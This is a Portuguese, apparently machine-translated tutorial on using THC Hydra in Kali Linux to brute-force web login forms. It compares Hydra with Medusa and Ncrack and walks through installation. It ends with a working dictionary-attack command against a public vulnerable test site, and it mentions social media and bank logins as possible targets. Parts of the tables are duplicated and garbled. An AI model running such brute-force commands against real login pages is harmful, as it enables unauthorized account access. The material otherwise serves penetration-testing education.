Crack página de login baseada na web com Hydra no Kali Linux

Crack Web Based Login Page With Hydra Kali Linux



Uma senha é tecnicamente definida como uma sequência secreta de caracteres usada para autenticar ou obter acesso aos recursos. Deve ser mantido em segredo e escondido de outras pessoas que não têm permissão para acessar esses recursos. As senhas têm sido usadas com computadores desde os primeiros dias da computação. Um dos primeiros sistemas de compartilhamento de tempo, foi introduzido em 1961. Ele tinha um comando de login que solicitava uma senha de usuário. Após digitar a SENHA, o sistema desliga o mecanismo de impressão, se possível, para que o usuário digite sua senha com privacidade.

A força de uma senha depende do comprimento, complexidade e imprevisibilidade. Ele mede a eficácia em resistir a adivinhá-lo ou quebrá-lo. As senhas fracas, por outro lado, reduzem o tempo necessário para adivinhar e obter acesso a e-mails pessoais / corporativos, dados confidenciais como informações financeiras, informações comerciais, cartões de crédito, etc.







Existem muitas maneiras pelas quais uma senha pode ser fraca, correspondendo ao poder de vários esquemas de ataque. O mais popular desse tipo de ataque de credencial é a força bruta. é um método de tentativa e erro como adivinhar, tentativa de decodificar dados criptografados, como senha ou criptografia de dados usada por programa de aplicativo ou ferramenta de hacking.



Hydra é o cracker de logon de rede mais rápido que suporta vários protocolos de ataque. É muito rápido e flexível, e novos módulos são fáceis de adicionar. Essa ferramenta permite que pesquisadores e consultores de segurança mostrem como seria fácil obter acesso não autorizado a um sistema remotamente. Hydra foi escrita por van Hauser e adicionalmente apoiada por David Maciejak. Na última atualização, o desenvolvimento do hydra foi movido para o repositório público do github em: https://github.com/vanhauser-thc/thc-hydra.



Hydra foi testado para compilar em Linux, Windows / Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX / Blackberry, e está disponível sob GPLv3 com uma expansão de licença OpenSSL especial.





THC Hydra suporta estes protocolos: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 e v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC e XMPP.

COMPARANDO A HIDRA COM OUTRAS FERRAMENTAS DE CRACKING

Existem também muitas ferramentas de cracker de login além do hydra, entretanto nenhuma suporta uma lista enorme de protocolos e suporte para cracker de login paralelizado como o hydra. As tabelas abaixo mostram o resultado da comparação de recursos, serviços e velocidade em relação ao medusa e ao ncrack.



Recursos

Recurso Hidra medusa Ncrack
Licença AGPLv3 GPLv2 Termos GPLv2 + Nmap
Suporte IPv6 sim Não Não
Interface gráfica do usuário sim sim Não
Suporte internacionalizado (RFC 4013) sim Não Não
Suporte a proxy HTTP sim sim Não
Suporte a proxy SOCKS sim Não Não
Protocolos suportados 51 22 7

Serviços

Crack página de login baseada na web com

Serviço Detalhes Hidra medusa Ncrack
ADAM-6500 sim Não Não
AFP sim sim Não
Asterisco sim Não Não
Senha Cisco sim Não Não
Cisco Enable sim Não Não
CVS sim sim Não
Firebird sim Não Não
FTP sim sim sim
Suporte SSL AUTH TLS e FTP sobre SSL AUTH TLS e FTP sobre SSL Não
HTTP Métodos) GET, HEAD, POST PEGUE PEGUE
Autenticação Básica sim sim sim
Formulário HTTP Métodos) GET, POST GET, POST Não
Suporte SSL HTTPS HTTPS Não
Proxy HTTP Autenticação Básica sim Não Não
Autenticação DIGEST-MD5 sim Não Não
Autenticação NTLM sim Não Não
Suporte SSL HTTPS Não Não
Enumeração de URL HTTP PROXY sim Não Não
ICQ v5 sim
1
Não Não
IMAP Suporte para LOGIN sim sim Não
Suporte AUTH LOGIN sim Não Não
Suporte AUTH PLAIN sim sim Não
Suporte AUTH CRAM-MD5 sim Não Não
Suporte para AUTH CRAM-SHA1 sim Não Não
Suporte para AUTH CRAM-SHA256 sim Não Não
Suporte para AUTH DIGEST-MD5 sim Não Não
Suporte AUTH NTLM sim sim Não
Suporte AUTH SCRAM-SHA1 sim Não Não
Suporte SSL IMAPS & STARTTLS IMAPS & STARTTLS Não
IRC Senha geral do servidor sim Não Não
Senha do modo OPER sim Não Não
LDAP v2, suporte simples sim Não Não
v3, suporte simples sim Não Não
v3, suporte AUTH CRAM-MD5 sim Não Não
Suporte para AUTH DIGEST-MD5 sim
Suporte AUTH NTLM sim sim
Suporte AUTH SCRAM-SHA1 sim
Suporte SSL IMAPS & STARTTLS IMAPS & STARTTLS
IRC Senha geral do servidor sim
Senha do modo OPER sim
LDAP v2, suporte simples sim
v3, suporte simples sim
v3, suporte AUTH CRAM-MD5 sim
v3, suporte AUTH DIGEST-MD5 sim
MS-SQL sim sim
MySQL v3.x sim sim
v4.x sim sim
v5.x sim sim
NCP sim sim
NNTP Suporte ao usuário sim sim
Suporte AUTH LOGIN sim
Suporte AUTH PLAIN sim
Suporte AUTH CRAM-MD5 sim
Suporte para AUTH DIGEST-MD5 sim
Suporte AUTH NTLM sim
Suporte SSL STARTTLS e NNTP sobre SSL
Oráculo Base de dados sim sim
Ouvinte TNS sim
Enumeração SID sim
PC-NFS sim
pcAnywhere Autenticação Nativa sim sim
Autenticação baseada em sistema operacional (MS) sim
POP3 Suporte ao usuário sim sim sim
Suporte APOP sim
Suporte AUTH LOGIN sim sim
Suporte AUTH PLAIN sim sim
Suporte AUTH CRAM-MD5 sim
Suporte para AUTH CRAM-SHA1 sim
Suporte para AUTH CRAM-SHA256 sim
Suporte para AUTH DIGEST-MD5 sim
Suporte AUTH NTLM sim sim
Suporte SSL POP3S e STARTTLS POP3S e STARTTLS POP3S
PostgreSQL sim sim
Asterisco sim
RDP Estação de Trabalho Windows sim sim sim
Servidor Windows sim sim
Autenticação de Domínio sim sim
REDIS sim Não
REXEC sim sim
RLOGIN sim sim
RPCAP sim Não
RSH sim sim
RTSP sim Não
SAP R / 3 sim
Siemens S7-300 sim
trago sim
Suporte SSL SIP sobre SSL
SMB Modo NetBIOS sim sim Não
Modo nativo W2K sim sim sim
Modo Hash sim sim Não
Autenticação de texto limpo sim sim
Autenticação LMv1 sim sim sim
Autenticação LMv2 sim sim sim
Autenticação NTLMv1 sim sim sim
Autenticação NTLMv2 sim sim sim
SMTP Suporte AUTH LOGIN sim sim
Suporte AUTH PLAIN sim sim
Suporte AUTH CRAM-MD5 sim
Suporte para AUTH DIGEST-MD5 sim
Suporte AUTH NTLM sim sim
Suporte SSL SMTPS e STARTTLS SMTPS e STARTTLS
Enum do usuário SMTP VRFY cmd sim sim
EXPN cmd sim sim
RCPT PARA cmd sim sim
SNMP v1 sim sim
v2c sim sim
v3 (Apenas autenticação MD5 / SHA1)
MEIAS v5, autenticação de senha sim
SSH v1 sim
v2 sim sim sim
Chaves SSH v1, v2 sim
Subversion (SVN) sim sim
TeamSpeak TS2 sim
Telnet sim sim sim
XMPP Suporte AUTH LOGIN sim
Suporte AUTH PLAIN sim
Suporte AUTH CRAM-MD5 sim
Suporte para AUTH DIGEST-MD5 sim
Suporte AUTH SCRAM-SHA1 sim
VMware Auth Daemon v1.00 / v1.10 sim sim
Suporte SSL sim sim
VNC Suporte de senha RFB 3.x sim sim
Suporte a usuário + senha RFB 3.x (Apenas UltraVNC)
Suporte de senha RFB 4.x sim sim
Suporte de usuário + senha RFB 4.x (Apenas UltraVNC)

Comparação de velocidade

Velocidade (em s) Hidra medusa Ncrack
1 Módulo de Tarefa / FTP 11,93 12,97 18,01
4 Módulo de Tarefas / FTP 4,20 5,24 9,01
Módulo 16 Tarefas / FTP 2,44 2,71 12,01
1 Módulo Tarefa / SSH v2 32,56 33,84 45,02
4 Tarefas / Módulo SSH v2 10,95 Quebrado Esquecidas
Módulo 16 Tarefas / SSH v2 5,14 Quebrado Esquecidas

Essa foi uma breve introdução simples à hidra. Agora vamos passar para a instalação.

INSTALANDO HYDRA

Hydra vem pré-instalado no kali linux, no entanto, se você tiver um sistema operacional diferente, poderá compilá-lo e instalá-lo em seu sistema. Atualmente, o suporte do Hydra em diferentes plataformas:

  • Todas as plataformas UNIX (Linux, * bsd, Solaris, etc.)
  • MacOS (basicamente um clone BSD)
  • Windows com Cygwin (IPv4 e IPv6)
  • Sistemas móveis baseados em Linux, MacOS ou QNX (por exemplo, Android, iPhone, Blackberry 10, Zaurus, iPaq)

Para baixar, configurar, compilar e instalar o Hydra, basta digitar no terminal:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Se você tiver Ubuntu / Debian, precisará de algumas bibliotecas de dependência:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Se você não conseguiu encontrar essas bibliotecas em seu repositório, você precisa fazer o download e instalá-las manualmente.

COMO USAR HIDRA

Parabéns, agora você conseguiu instalar o Hydra em seu sistema. Na verdade, Hydra vem com dois sabores, GUI-gtk e meu favorito, versão CLI. e além disso, o hydra também tem uma versão guiada CLI, seu chamado hydra-wizard. Você será guiado passo a passo em vez de digitar todos os comandos ou argumentos manualmente no terminal. Para executar a Hydra, a partir do seu tipo de terminal:

Para CLI:

hydra

Para CLI-wizard:

hydra-wizard

Para GUI:

xhydra

Depois de digitar ‘hydra’, ele exibirá comandos de ajuda como este:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Login baseado na web do Bruteforce com Hydra

Hydra oferece suporte a alguns serviços de força bruta, como mencionei antes, um deles é usado para fazer logins baseados na web de força bruta, como formulário de login de mídia social, formulário de login de banco do usuário, login baseado na web do seu roteador, etc. Esse http [s] -get-form que tratará deste pedido. Neste tutorial, vou mostrar como aplicar força bruta em logins da Web vulneráveis. Antes de iniciarmos a hidra, devemos conhecer alguns argumentos necessários, como a seguir:

  • Alvo : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Nome de usuário de login : admin (se você não tiver certeza, use força bruta)
  • Lista de senhas : A localização da lista de arquivos de dicionário contendo as possíveis senhas.
  • Parâmetros do formulário : para geral, use dados de violação ou proxy para obter os parâmetros de formulário de solicitação. Mas aqui estou usando iceweasel, baseado no firefox, barra de ferramentas de desenvolvedor de rede.
  • Módulo de serviço : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Obtenção de parâmetros de postagem usando navegador, iceweasel / firefox

Em seu navegador firefox, pressione as teclas ‘ CTRL + SHIFT + Q ‘. Em seguida, abra a página de login da webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, você notará que algum texto aparecerá na guia do desenvolvedor de rede. Ele informa quais arquivos são transferidos para nós. Veja o método todos são GET, uma vez que não temos nenhum dado POST ainda.

Para obter os parâmetros pós-formulário, digite o que quer que seja no formulário de nome de usuário e / ou senha. Você notará um novo método POST na guia do desenvolvedor de rede. Clique duas vezes nessa linha e, na guia Cabeçalhos, clique no botão Editar e Reenviar no lado direito. No corpo da solicitação, copie a última linha, como tfUName = asu & tfUPass = raimu . a tfUName e tfUPass são parâmetros de que precisamos. Conforme visto abaixo:

Kali linux tem um monte de listas de palavras, escolha a lista de palavras apropriada ou apenas use rockyou.txt local em / usr / share / wordlists / como visto abaixo:

Tudo bem, agora temos todos os argumentos de que precisamos e prontos para disparar a Hydra. Aqui está o padrão de comando:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Vamos analisar os comandos:

  • a : é uma palavra que contém a conta do nome de usuário, use -L para referir-se à lista de possíveis nomes de usuário em um arquivo.
  • P : é uma lista de arquivos de possíveis senhas, use -p para usar literalmente a senha de uma palavra em vez de adivinhá-la.
  • testapp.vunlwebapp.com : é um nome de host ou destino
  • http-post-form : é o módulo de serviço que usamos
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = os 3 parâmetros necessários, a sintaxe é:
    {URL da página}: {Solicitar parâmetros de formulário do corpo da postagem}: S = {Encontre o que quer que seja na página depois de fazer login com sucesso}
  • v = Modo verboso
  • V = mostrar login: passar para cada tentativa
  • f = Encerrar o programa se o login do par: a senha for encontrada

Agora vamos deixar Hydra tentar quebrar a senha para nós, isso precisa de tempo, pois é um ataque de dicionário. Assim que você conseguir encontrar um par de login: password hydra irá encerrar imediatamente o trabalho e mostrar a credencial válida.

Hidra pode fazer tanto, já que neste tutorial nós acabamos de aprender como usar a força bruta de logon baseado na web usando a hydra, nós aprendemos apenas um protocolo, que é o protocolo http-post-form. Também podemos usar o hydra contra outro protocolo como ssh, ftp, telnet, VNC, proxy, etc.